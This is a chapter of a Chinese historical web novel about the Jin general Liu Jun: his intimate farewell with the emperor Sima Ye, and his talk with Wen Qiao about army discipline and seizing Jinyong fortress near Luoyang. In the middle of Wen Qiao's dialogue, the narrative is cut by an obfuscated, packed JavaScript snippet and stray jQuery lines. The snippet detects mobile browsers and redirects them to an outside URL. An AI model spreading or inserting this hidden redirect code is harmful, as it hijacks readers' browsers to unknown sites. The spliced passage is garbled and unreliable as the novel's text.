95.第六章:戎马倥偬

作品:《星汉西流夜未央

    香烟缭绕,还未入殿,刘隽就被呛得一阵闷咳,费了好大力气才将眼睛勉强睁开,发现司马邺正跪在蒲团上念念有词。


    凑近一听,似乎是佛经,心内一哂,仍是恭敬地行礼,“陛下,臣奉诏求见。”


    司马邺将手中的佛珠放下,隔着氤氲烟雾看他,“何时动身?”


    天子信佛这么大的消息从前竟一点端倪未有,刘隽决定回头盘问尹小成,宫里的钉子是不是得换上一批,要么是被人收买要么便是手段不到家,“后日一早开拔,明日午后臣便去营中了。”


    司马邺长叹一声,“相聚时短,隔断时日便要送你出征,也不知何时是个头……”


    “待到海内宴清之时,臣便日日在宫中随侍陛下。”司马邺似要起身,刘隽只单手托了一把,竟硬生生地将他架了起来。


    司马邺一时无语,刘隽也觉得有些不妥,找补道:“陛下忙于国事,近来过于清减了些。不过,陛下若是信佛,可要茹素么?”


    “既是佛弟子,怎能杀生?”司马邺执了他手,一同往内殿去,走了几步又顿住了,“不对,朕早年也杀过人,朕的将士们也一直在杀敌,如此看来,也算是朕杀生了。”


    刘隽笑笑,“陛下德被天下、爱民如子,这些杀孽就由臣为陛下担着罢。”


    司马邺握紧了他的手,“若是有业果,怎么能算在刀刃之上,与主人无碍呢?”


    刀刃?


    刘隽闻言挑眉笑了笑,“那臣便做陛下的宝刀罢。”


    司马邺被他这一挑眉激得晃了神,秀气的耳垂瞬间泛红,手指抚上刘隽蹀躞带本该悬挂飞景剑的带钩,“卿非金刀,卿为宝剑。”


    说罢,他一扯,生生将那大带拽了下来,扔在了一边。


    刘隽身形微晃,见司马邺自己却是一个踉跄,不急不忙地揽住他腰,淡淡地扫了不远处侍奉的管彤一眼。


    管彤率众退下,又命人传话回司空幕府不提。


    早已过了子时,司马邺却仍曲肱侧卧,殊无睡意。


    “陛下有心事?”刘隽忽而道,本就低沉的声音在暗夜中更显得闷倦。


    司马邺看着斑驳墙上的月光,“听闻从前汉时以椒涂墙,称之为椒房之宠。只可惜如今家国贫弱,别说椒房宫,朕就连个像样的宅子都无法赐给你。”


    刘隽将他长发一圈圈绕在指上,轻笑道:“若能光复神都,陛下便将原先洛阳的宅子赏给我便好了。”


    “那本就是你的,如何还能叫做赏呢?”司马邺不悦道,“何况朕在长安,你却要住到洛阳去……”


    刘隽无奈道:“休沐去小住都不行么?未免太过霸道。”


    “日日把‘鞠躬尽瘁死而后已’挂在嘴上,却整日念着休沐,”司马邺哪里不知他宵衣旰食,嘴上却不肯饶人,“要去也行,但只能是随驾骖乘方可。”


    见刘隽只是笑,司马邺想到之后又要分离许久,怅然不已,“那不算,再挑个。”


    刘隽将他搂到怀里,喟叹道:“那便赐我金谷园吧。”


    此番头次随军,温峤面上不显,却一直或插科打诨或默不作声地暗中观察。


    不过三四日,他便觉得刘隽所部与他见过其余大军颇为不同,其一是军令如山,从将到卒均严守法度,一层一级均严格听命于上一级,二是赏罚分明,违背军令、触犯军纪均有严苛的处置,但奋勇杀敌、发觉敌情、协助友军等亦可得到厚赏,三是士气昂扬,许是上行下效,这些兵卒也颇为奋进,有练兵之余不放弃劳作,为家人多种些粮的,有借机识文断字,想日后谋个出路的,倒是没见着寻常军营常见的饮酒闹事、又嫖又赌,几十万人大军,竟连军妓营都无。


    于是他终于未忍住,一日上了刘隽的轺车,悄悄问道。


    刘隽先是茫然,随即抚额叹道:“我知道赶路无趣,想不到姨兄竟无所事事到打听这些事,若是姨兄心火难耐,我……”


    “我又不是急色鬼,”温峤忙解释道,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468478|130959||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我是在想为何你这些士卒如此乖觉,你不怕憋得久了,搞出哗变来?或是那些抢掠良家子的丑事?”


    “从前阿父军中是有军妓的,但我想着滋生人丁更为紧要,都发还归家嫁人去了,其中不少便嫁了将士们。”刘隽心不在焉地看舆图,“若不是走投无路,谁愿意做这勾当?”


    “做迎来送往、卖笑为生的神女,还是做日出而作、日入而息的农妇,还真不好选。”温峤看向车外,大军密密麻麻、遍布荒野,苍穹之下,有如蝼蚁。


    不过,就算是万乘之主、千乘之君,同样要生老病死、爱恨别离,在天道之下,和蝼蚁也无甚差别。


    还不待温峤从清谈玄妙里抽离出来,刘隽一声长叹,“洛阳易守难攻,先前我曾让敬道在豫州大修坞堡,兴建虎牢城,时日尚短,也不知修得如何了。”


    温峤蹙眉,“虎牢地势何其险要,刘敬道虽有才干,也难在一两年内修好。”


    刘隽的手指在谷水和邙山之间游荡,缓缓笑了,“还有一处,石勒绝无可能知晓,正好可用来结垒作战。”


    见温峤并无头绪,刘隽解释道,“洛阳城北有座金墉城,由三座各有墙垣的小城,城垣坚实、地势险要,北靠邙山、下临谷水……”


    “更关键的是,从前魏文帝兴建金墉城,再到先帝,历代天子不断对金墉城加以修缮,可谓固若金汤。”刘隽讥讽一笑,“可如此坚固的城池偏偏是皇帝带着后妃游乐的行宫。永嘉之后,恐怕早已废弛了。”


    温峤已经完全领悟,“你想占据金墉城,据此与另外两方相抗?他们在洛水之西对峙,金墉城在洛阳西北,倒是合适。”


    刘隽把玩着一块小小的玉印,“时机也很紧要,万不能被石勒、刘曜钻了空子。”


    “对了,”温峤两眼放光,“我倒是想起一事,或许可以做些文章。”


    “哦?”


    “如今刘曜嗜酒如命,已到了颠三倒四的地步。”温峤意味深长。